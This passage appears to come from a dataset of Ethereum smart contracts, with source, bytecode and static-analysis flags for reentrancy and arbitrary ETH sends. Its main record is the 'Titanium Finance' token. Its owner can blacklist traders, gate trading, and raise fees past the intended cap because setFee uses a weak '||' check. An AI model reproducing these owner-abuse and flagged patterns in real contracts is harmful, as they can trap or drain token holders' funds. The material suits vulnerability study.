74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bdae7ba4fd29daf83717da965c990ae4494ab780f827071b5ad0833bde6a94864736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,614 |
0x15eb0162611d4629e99c2716204e5e95977c3e91 | /**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// SPDX-License-Identifier: Unlicensed
// TG: Titaniumfi
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ti is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Titanium Finance";
string private constant _symbol = "Ti";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 15000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner());
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 60000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a2b565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611af0565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611b45565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611b71565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611bb2565b61073f565b34801561038057600080fd5b5061020761038f366004611bdf565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611bb2565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611bfa565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611bb2565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d7565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611bdf565b610abc565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611bfa565b610b1b565b34801561050157600080fd5b50610207610510366004611c13565b610b4a565b34801561052157600080fd5b50610274610530366004611b45565b610ba4565b34801561054157600080fd5b50610274610550366004611bb2565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610bb1565b34801561058657600080fd5b50610207610595366004611c45565b610be7565b3480156105a657600080fd5b506102d46105b5366004611cc9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611bfa565b610c88565b34801561060c57600080fd5b5061020761061b366004611bb2565b610cb7565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611d02565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611d37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611d63565b915050610656565b5050565b60006106cc338484610da1565b5060015b92915050565b60006106e3848484610ec5565b610735843361073085604051806060016040528060288152602001611e7d602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112b7565b610da1565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611d02565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611d02565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc816112f1565b50565b6001600160a01b0381166000908152600260205260408120546106d09061132b565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611d02565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611d02565b653691d6afc0008110156108d257600080fd5b601555565b6000546001600160a01b031633146109015760405162461bcd60e51b815260040161064a90611d02565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561096157600080fd5b505afa158015610975573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109999190611d7e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109e157600080fd5b505afa1580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611d7e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a6157600080fd5b505af1158015610a75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a999190611d7e565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ae65760405162461bcd60e51b815260040161064a90611d02565b601454600160a01b900460ff1615610afd57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b455760405162461bcd60e51b815260040161064a90611d02565b601755565b6000546001600160a01b03163314610b745760405162461bcd60e51b815260040161064a90611d02565b60095482111580610b875750600b548111155b610b9057600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610ec5565b6012546001600160a01b0316336001600160a01b031614610bd157600080fd5b6000610bdc306107ff565b90506107fc816113af565b6000546001600160a01b03163314610c115760405162461bcd60e51b815260040161064a90611d02565b60005b82811015610c82578160056000868685818110610c3357610c33611d37565b9050602002016020810190610c489190611bb2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c7a81611d63565b915050610c14565b50505050565b6000546001600160a01b03163314610cb25760405162461bcd60e51b815260040161064a90611d02565b601655565b6000546001600160a01b03163314610ce15760405162461bcd60e51b815260040161064a90611d02565b6001600160a01b038116610d465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f295760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f8b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fed5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b0384811691161480159061101957506000546001600160a01b03838116911614155b156111b057601454600160a01b900460ff16611049576000546001600160a01b0384811691161461104957600080fd5b60155481111561105857600080fd5b6001600160a01b03831660009081526010602052604090205460ff1615801561109a57506001600160a01b03821660009081526010602052604090205460ff16155b6110a357600080fd5b6014546001600160a01b038381169116146110d957601654816110c5846107ff565b6110cf9190611d9b565b106110d957600080fd5b60006110e4306107ff565b6017546015549192508210159082106110fd5760155491505b8080156111145750601454600160a81b900460ff16155b801561112e57506014546001600160a01b03868116911614155b80156111435750601454600160b01b900460ff165b801561116857506001600160a01b03851660009081526005602052604090205460ff16155b801561118d57506001600160a01b03841660009081526005602052604090205460ff16155b156111ad5761119b826113af565b4780156111ab576111ab476112f1565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111f257506001600160a01b03831660009081526005602052604090205460ff165b8061122457506014546001600160a01b0385811691161480159061122457506014546001600160a01b03848116911614155b15611231575060006112ab565b6014546001600160a01b03858116911614801561125c57506013546001600160a01b03848116911614155b1561126e57600854600c55600954600d555b6014546001600160a01b03848116911614801561129957506013546001600160a01b03858116911614155b156112ab57600a54600c55600b54600d555b610c8284848484611538565b600081848411156112db5760405162461bcd60e51b815260040161064a9190611af0565b5060006112e88486611db3565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156113925760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b600061139c611566565b90506113a88382611589565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f7576113f7611d37565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144b57600080fd5b505afa15801561145f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114839190611d7e565b8160018151811061149657611496611d37565b6001600160a01b0392831660209182029290920101526013546114bc9130911684610da1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f5908590600090869030904290600401611dca565b600060405180830381600087803b15801561150f57600080fd5b505af1158015611523573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611545576115456115cb565b6115508484846115f9565b80610c8257610c82600e54600c55600f54600d55565b60008060006115736116f0565b90925090506115828282611589565b9250505090565b60006113a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611732565b600c541580156115db5750600d54155b156115e257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061160b87611760565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163d90876117bd565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166c90866117ff565b6001600160a01b03891660009081526002602052604090205561168e8161185e565b61169884836118a8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116dd91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061170c8282611589565b82101561172957505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117535760405162461bcd60e51b815260040161064a9190611af0565b5060006112e88486611e3b565b600080600080600080600080600061177d8a600c54600d546118cc565b925092509250600061178d611566565b905060008060006117a08e878787611921565b919e509c509a509598509396509194505050505091939550919395565b60006113a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112b7565b60008061180c8385611d9b565b9050838110156113a85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b6000611868611566565b905060006118768383611971565b3060009081526002602052604090205490915061189390826117ff565b30600090815260026020526040902055505050565b6006546118b590836117bd565b6006556007546118c590826117ff565b6007555050565b60008080806118e660646118e08989611971565b90611589565b905060006118f960646118e08a89611971565b905060006119118261190b8b866117bd565b906117bd565b9992985090965090945050505050565b60008080806119308886611971565b9050600061193e8887611971565b9050600061194c8888611971565b9050600061195e8261190b86866117bd565b939b939a50919850919650505050505050565b600082611980575060006106d0565b600061198c8385611e5d565b9050826119998583611e3b565b146113a85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611a2681611a06565b919050565b60006020808385031215611a3e57600080fd5b823567ffffffffffffffff80821115611a5657600080fd5b818501915085601f830112611a6a57600080fd5b813581811115611a7c57611a7c6119f0565b8060051b604051601f19603f83011681018181108582111715611aa157611aa16119f0565b604052918252848201925083810185019188831115611abf57600080fd5b938501935b82851015611ae457611ad585611a1b565b84529385019392850192611ac4565b98975050505050505050565b600060208083528351808285015260005b81811015611b1d57858101830151858201604001528201611b01565b81811115611b2f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b5857600080fd5b8235611b6381611a06565b946020939093013593505050565b600080600060608486031215611b8657600080fd5b8335611b9181611a06565b92506020840135611ba181611a06565b929592945050506040919091013590565b600060208284031215611bc457600080fd5b81356113a881611a06565b80358015158114611a2657600080fd5b600060208284031215611bf157600080fd5b6113a882611bcf565b600060208284031215611c0c57600080fd5b5035919050565b60008060008060808587031215611c2957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c5a57600080fd5b833567ffffffffffffffff80821115611c7257600080fd5b818601915086601f830112611c8657600080fd5b813581811115611c9557600080fd5b8760208260051b8501011115611caa57600080fd5b602092830195509350611cc09186019050611bcf565b90509250925092565b60008060408385031215611cdc57600080fd5b8235611ce781611a06565b91506020830135611cf781611a06565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d7757611d77611d4d565b5060010190565b600060208284031215611d9057600080fd5b81516113a881611a06565b60008219821115611dae57611dae611d4d565b500190565b600082821015611dc557611dc5611d4d565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e1a5784516001600160a01b031683529383019391830191600101611df5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e5857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e7757611e77611d4d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047157b1fbf7268c424fd5f43e62424e527a8e705458e312dc4230b25fdd920ad64736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,615 |
0xF870EAbB5A6Ea792cF08EbA9a3b6EF1a1b306765 | // }
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
